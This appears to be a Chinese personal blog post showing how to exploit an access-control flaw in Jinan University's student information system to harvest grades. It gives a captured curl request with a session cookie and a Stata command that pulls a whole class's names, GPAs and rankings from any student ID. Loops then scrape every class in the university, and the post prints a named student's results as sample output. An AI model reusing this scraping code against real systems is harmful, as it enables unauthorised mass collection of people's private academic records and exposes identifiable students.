数字暨大全校同学的成绩单爬取

数字暨大全校同学的成绩单爬取

终于走到了数字暨大,数字暨大上有提供查看同班其他同学成绩的功能,登陆之后进入服务中心即可看到:


不过进去之后你会发现你看不到任何东西(除非你用360浏览器):

不过我们打开检查,查看请求到的信息:

分析请求

也就是说,虽然没有显示出来,但是实际上数据已经从服务器发来了。我们右键选择copy as cURL

Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
curl 'https://sis.jnu.edu.cn/sis/Cjcx/Cjcx.action?method=getKhtxcjStuOfListByKhlx'
-H 'workitemid: null'
-H 'Origin: https://sis.jnu.edu.cn'
-H 'Accept-Encoding: gzip, deflate, br'
-H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8'
-H 'render: unieap'
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36'
-H 'ajaxRequest: true'
-H 'Content-Type: multipart/form-data'
-H 'Accept: */*'
-H 'Referer: https://sis.jnu.edu.cn/sis/forward.action?path=/sis/kh/khcjcx/tbtxcx.jsp?khlx=1'
-H 'resourceid: null'
-H 'Cookie: JSESSIONID=qdh2bkfGyb1RmQSt6RBBTnTv68p0synJdLyxhT4f1dmk6NGbpJ2d!1853759784'
-H 'Connection: keep-alive'
--data-binary '{header:{"code": -100, "message": {"title": "", "detail": ""}},
body:{dataStores:{
khtxStuDetailStore:{
rowSet:{
"primary":[],
"filter":[],
"delete":[]},
name:"khtxStuDetailStore",
pageNumber:1,
pageSize:10,
recordCount:0,
rowSetName:"pojo_com.neusoft.education.sis.model.zzgl.kh.khcjcx.KhcjcxStuModel",
order:"c.khtxmc,b.yxsh,b.zyh,b.nj,b.bh,b.xh,a.khcj"
}
},
parameters:{
"args": ["1", "2015050001"]}}
}' --compressed

写一个能够根据某个学号爬其所在班级成绩单的命令

为了便于观察,我进行了手动换行。仔细观察你会发现,你在上面的curl代码里找不任何类似密码的东西。我觉得这个请求不需要密码,然后我用其他人的学号试了试,确实是的,只需要学号就能请求得到数据!再观测会发现里面的pageSize:10, 这个显然是控制页码的,换成200。
然后我就写了一段小程序请求然后处理最后得到一份成绩单。为了方便使用,我给它包装成了一个命令,代码如下:
cjdquery.ado

Stata
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
*! 跟据学号查询该学生所在班级的成绩单并打印出该同学的绩点和排名
*! 注意由于cookies的实效性,这个命令可能需要重新调整curl部分才能运行,而且这个命令需要等待较长的时间。
*! 示例:cjdquery 2015050001
cap prog drop cjdquery
prog def cjdquery
version 13.0
syntax anything
clear all
qui !curl 'https://sis.jnu.edu.cn/sis/Cjcx/Cjcx.action?method=getKhtxcjStuOfListByKhlx' -H 'workitemid: null' -H 'Origin: https://sis.jnu.edu.cn' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'render: unieap' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36' -H 'ajaxRequest: true' -H 'Content-Type: multipart/form-data' -H 'Accept: */*' -H 'Referer: https://sis.jnu.edu.cn/sis/forward.action?path=/sis/kh/khcjcx/tbtxcx.jsp?khlx=1' -H 'resourceid: null' -H 'Cookie: JSESSIONID=Jn7yblmWlBDn2b7zGgPJDJl4hS3f1GGhyLbTTjnylhWWz4hjrvp3!1853759784' -H 'Connection: keep-alive' --data-binary '{header:{"code": -100, "message": {"title": "", "detail": ""}},body:{dataStores:{khtxStuDetailStore:{rowSet:{"primary":[],"filter":[],"delete":[]},name:"khtxStuDetailStore",pageNumber:1,pageSize:200,recordCount:0,rowSetName:"pojo_com.neusoft.education.sis.model.zzgl.kh.khcjcx.KhcjcxStuModel",order:"c.khtxmc,b.yxsh,b.zyh,b.nj,b.bh,b.xh,a.khcj"}},parameters:{"args": ["1", "`anything'"]}}}' --compressed -o temp.txt
qui{
clear
set obs 1
gen v = fileread("temp.txt")
split v, parse("},{" "primary:[")
drop v v1
sxpose, clear
ren _var1 v
replace v =subinstr(v, "]}}}}}", "", .)
replace v = subinstr(v, `"""', "", .)
replace v = subinstr(v, `"{"', "", .)
replace v = subinstr(v, `"}"', "", .)
split v, parse(,)
foreach i of varlist _all{
replace `i' = ustrregexs(1) if ustrregexm(`i', ":(.*)")
replace `i' = subinstr(`i', "\", "", .)
}
compress
keep v6 v7 v10 v16 v17 v18
ren v6 学号
ren v7 姓名
ren v10 年度
ren v16 绩点
ren v17 班级排名
ren v18 专业排名
destring, replace
format 学号 %12.0f
}
forval i = 1/`=_N'{
if 学号[`i'] == `anything'{
local name = "`=姓名[`i']'"
display in green "年度:" in red "`=年度[`i']'"
display in green "姓名:" in red "`=姓名[`i']'"
display in green "学号:" in red "`=学号[`i']'"
display in green "绩点:" in red "`=绩点[`i']'"
display in green "班级排名:" in red "`=班级排名[`i']'"
display in green "专业排名:" in red "`=专业排名[`i']'"
display in yellow "------------------------------"
}
}
save `name'_成绩单, replace
end

随便拿一个学号测试一下:

Stata
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
. cjdquery 2015050001
年度:2016年综合测评
姓名:张思语
学号:2015050001
绩点:2.26
班级排名:55/55
专业排名:55/55
------------------------------
年度:2017年综合测评
姓名:张思语
学号:2015050001
绩点:3.14
班级排名:35/55
专业排名:35/55
------------------------------
(note: file 张思语_成绩单.dta not found)
file 张思语_成绩单.dta saved

爬取全校同学的成绩单

~一共339个班级:

这个代码我还没有完全运行,理论是是完全可以运行的,不过可能会出现错误,建议一部分一部分的运行。

Stata
1
2
3
4
5
6
7
8
use 暨南大学学生信息表, clear
duplicates drop 行政班级, force
drop if index(行政班级, "2017")
local first = 学号[1]
preserve
cjdquery `first'
save 暨南大学成绩单, replace
restore

上面的的代码得到所有的班级,然后再爬好第一个班级的成绩单存储为暨南大学成绩单。然后之后的班级成绩单都接在其后。

Stata
1
2
3
4
5
6
7
8
9
10
11
12
forval i = 1/`=_N'{
qui{
local id = 学号[`i']
cap restore
preserve
cjdquery `id'
append using 暨南大学成绩单
save 暨南大学成绩单, replace
restore
}
di "第`i'个班级完成!"
}

值得尝试!

# Stata

评论

程振兴

程振兴 @czxa.top
截止今天,我已经在本博客上写了607.9k个字了!

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×